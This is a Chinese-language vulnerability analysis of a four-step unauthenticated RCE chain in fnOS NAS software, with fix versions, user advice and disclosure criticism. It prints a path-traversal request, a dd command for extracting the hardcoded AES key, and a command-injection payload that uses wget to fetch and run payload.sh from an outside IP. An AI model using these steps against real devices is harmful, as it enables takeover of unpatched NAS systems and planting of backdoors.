报告摘要
核心发现
成功复现并系统化分析了飞牛系统(fnOS)中存在的一个严重远程代码执行(RCE)漏洞链。该漏洞链允许攻击者在无需任何身份认证的前提下,通过四个逻辑递进的漏洞环节,最终实现对设备的完全控制,获取最高权限(root),并植入持久化后门程序。
影响与修复
- 影响版本:
fnOS ≤ 1.1.18 - 路径穿越修复版本:
1.1.15(仅修复此环节) - 完整修复版本:
1.1.18(唯一安全版本) - 漏洞编号:截至目前,尚未被分配CVE或CNVD等官方漏洞编号。
漏洞链攻击路径总览
该RCE漏洞链由四个关键环节构成,形成一条从信息泄露到权限提升再到命令执行的完整攻击链:
1. 路径穿越(任意文件读取)
攻击起点利用 /app-center-static/serviceicon/myapp/... 接口的路径过滤缺陷,读取服务器任意文件,获取包含硬编码密钥的文件。
/usr/trim/etc/rsa_private_key.pem2. 硬编码AES密钥提取
核心密钥从下载的PEM文件中提取偏移100字节处的32字节AES主密钥(Root Key)。该密钥是系统身份认证的核心。
3. WebSocket网关认证绕过
权限提升利用获取的AES密钥,本地伪造有效的 fnos-Secret 签名,绕过WebSocket网关的身份验证,获取管理员API调用权限。
4. Docker镜像API命令注入
最终执行调用高权限API appcgi.dockermgr.systemMirrorAdd,在 url 参数中注入系统命令,实现远程代码执行。
详细漏洞链技术分析
1 漏洞一:路径穿越(任意文件读取)
技术原理
飞牛系统(fnOS)的Web服务中存在一个路径穿越漏洞,位于 /app-center-static/serviceicon/myapp/ 接口。该接口未对用户输入的 size 参数进行充分的路径过滤与规范化处理,导致攻击者可通过构造包含 ../ 的恶意路径,遍历并读取服务器文件系统上的任意文件。
关键利用目标
在本攻击链中,攻击者利用此漏洞读取以下文件:/usr/trim/etc/rsa_private_key.pem
该文件虽名为"RSA私钥",实则内嵌了一个用于AES加密的硬编码主密钥。
漏洞利用示例
GET /app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../etc/passwd HTTP/1.1
Host: [目标IP]:5666
若返回 /etc/passwd 内容,则漏洞存在。类似方法可读取任何文件。
注:无论是否启用了https,只要在公网能访问到就都可以读取!甚至FN connect也不能幸免!
影响与修复
| 项目 | 说明 |
|---|---|
| 影响版本 | fnOS ≤ 1.1.18 |
| 修复版本 | 1.1.15 |
| 修复方式 | 修复了路径遍历过滤逻辑,阻止非法路径访问 |
| 备注 | 1.1.15版本虽修复此漏洞,但系统仍存在其他高危漏洞,并非完全安全 |
2 漏洞二:硬编码AES主密钥提取
技术原理
在成功读取 /usr/trim/etc/rsa_private_key.pem 文件后,攻击者发现该文件并非标准的RSA私钥,而是一个包含硬编码AES密钥的二进制文件。经分析,该文件在起始偏移量100字节处,嵌入了一个32字节的AES主密钥(Root Key)。
安全风险
- 所有设备使用相同的主密钥,一旦泄露,所有设备均受影响。
- 攻击者无需破解密码或窃取会话,即可离线伪造任意用户身份。
- 为后续认证绕过提供了技术基础。
密钥提取命令
dd if=rsa_private_key.pem bs=1 skip=100 count=32 of=aes_root_key.bin
使用该密钥即可在本地实现与服务器相同的Token生成算法。
影响与修复
| 项目 | 说明 |
|---|---|
| 影响版本 | fnOS ≤ 1.1.18 |
| 修复版本 | 1.1.18 |
| 修复方式 | 移除硬编码密钥,改用设备唯一密钥或安全密钥管理机制 |
3 漏洞三:WebSocket网关认证绕过
技术原理
飞牛系统的WebSocket网关在验证用户身份时,依赖一个名为 fnos-Secret 的签名机制。该签名用于证明客户端请求的合法性。然而,系统未对签名的生成过程进行有效保护,且签名算法依赖于前述的硬编码AES主密钥。攻击者利用已获取的AES主密钥,可在本地模拟服务器的签名生成逻辑,凭空伪造出一个有效的 fnos-Secret。当该签名随请求发送至WebSocket网关时,服务器无法辨别其真伪,从而误认为请求来自合法已登录用户。
攻击后果
- 攻击者无需用户名、密码或任何会话Cookie,即可绕过所有登录验证。
- 可调用需管理员权限的敏感API接口,为后续命令注入提供了权限基础。
影响与修复
| 项目 | 说明 |
|---|---|
| 影响版本 | fnOS ≤ 1.1.18 |
| 修复版本 | 1.1.18 |
| 修复方式 | 重构认证机制,引入动态密钥、时间戳、挑战-响应等防重放与伪造机制 |
| 备注 | 该漏洞在1.1.15版本中未被修复,表明该版本仅部分缓解风险 |
4 漏洞四:Docker镜像API命令注入
技术原理
在成功伪造身份并获得高权限后,攻击者可调用系统管理API。其中,appcgi.dockermgr.systemMirrorAdd 接口用于添加Docker镜像源,其 url 参数在处理时未进行安全过滤。攻击者可在 url 参数中注入操作系统命令,利用Shell的命令连接符(如 ;、&&、|)执行任意代码。服务器在调用系统命令下载镜像时,会无条件执行注入的恶意指令。
攻击后果
- 远程代码执行(RCE):攻击者可在设备上执行任意命令。
- 持久化后门:常见操作包括植入挖矿程序、替换系统服务、安装内核模块等。
漏洞利用示例
{
"method": "appcgi.dockermgr.systemMirrorAdd",
"params": {
"url": "http://example.com; wget http://45.95.212.102/payload.sh -O /tmp/p; chmod +x /tmp/p; /tmp/p"
}
}
服务器将执行注入的 wget 和 chmod 命令,下载并执行恶意脚本。
影响与修复
| 项目 | 说明 |
|---|---|
| 影响版本 | fnOS ≤ 1.1.18 |
| 修复版本 | 1.1.18 |
| 修复方式 | 对API参数进行严格输入验证与命令过滤,禁用危险字符 |
| 备注 | 此为攻击链的最终执行环节,危害最大 |
影响范围、修复建议与安全响应
影响版本汇总
| 漏洞环节 | 受影响版本 | 修复版本 | 是否完全修复 |
|---|---|---|---|
| 路径穿越 | ≤ 1.1.18 | 1.1.15 | 否(仅修复此环节) |
| 硬编码密钥 | ≤ 1.1.18 | 1.1.18 | 是 |
| 认证绕过 | ≤ 1.1.18 | 1.1.18 | 是 |
| 命令注入 | ≤ 1.1.18 | 1.1.18 | 是 |
关键结论:fnOS 1.1.15 版本仅修复了路径穿越漏洞,但其余三个漏洞仍存在,系统仍可被完全控制。1.1.18 版本为唯一完整修复版本。
官方修复措施
- 通过微信公众号发布《重要安全更新通知》,确认存在"异常访问风险"与"代码疏漏"。
- 推送 1.1.15 版本(修复路径穿越)与 1.1.18 版本(完整修复)。
- 提供官方查杀脚本:
curl -L https://static2.fnnas.com/aptfix/trim-sec -o trim-sec && chmod +x trim-sec && ./trim-sec - 承诺成立安全快速响应团队,设立漏洞反馈邮箱:
safety@fnnas.com。
用户安全建议
- 立即升级至 fnOS 1.1.18 或更高版本。
- 若OTA升级失败,从官网下载完整镜像重装系统。系统采用存算分离架构,重装不影响存储池数据。
- 运行官方查杀脚本,清除潜在后门。
- 关闭公网暴露面:关闭外网端口转发(5666、8000、22等)、飞牛Connect、fnid、内网穿透等服务。
- 启用安全访问机制:使用加密隧道(如WireGuard、Tailscale),启用双因素认证(2FA),配置主机防火墙。
- 排查异常指标(IoC):监控恶意文件、C2域名/IP及样本哈希。
漏洞披露状态与社区反馈
CVE/CNVD收录情况
- 当前所有权威平台均未收录该漏洞链。
- 无CVE编号,无CNVD编号。
- 官方未发布标准安全公告,也未提供漏洞代号。
- 使用"异常访问风险""代码疏漏"等模糊术语,被社区广泛批评信息披露不透明。
社区争议
多名用户指出,即便启用HTTPS、2FA、强密码,设备仍被攻陷,证明问题源于系统漏洞而非用户配置。
官方解释称遵循"修复后再披露"的安全惯例,以避免补丁覆盖前引发更大风险。但延迟披露导致大量设备在无预警情况下被入侵,引发信任危机。
最终结论
飞牛系统(fnOS)此次暴露的远程代码执行漏洞链,是由路径穿越、硬编码密钥、认证绕过、命令注入四个高危漏洞构成的复合型攻击链。该漏洞链危害极大,允许攻击者在无需认证的情况下,完全控制设备并植入持久化后门。
- 攻击起点:路径穿越漏洞(
/app-center-static/serviceicon/myapp/...)允许读取/usr/trim/etc/rsa_private_key.pem文件。 - 核心密钥:该文件偏移100字节处硬编码了32字节AES主密钥。
- 权限提升:利用该密钥伪造
fnos-Secret,绕过WebSocket网关认证。 - 最终执行:调用
appcgi.dockermgr.systemMirrorAdd接口,通过url参数注入恶意命令。
所有 fnOS 1.1.18 以下版本均受影响。虽然1.1.15版本修复了路径穿越,但其余漏洞仍存在,1.1.18 为唯一完整修复版本。
建议所有用户立即升级至 fnOS 1.1.18,运行官方查杀脚本,并关闭公网暴露面,以彻底消除风险。同时,呼吁厂商加强安全开发生命周期(SDL)管理,提升漏洞披露透明度,重建用户信任。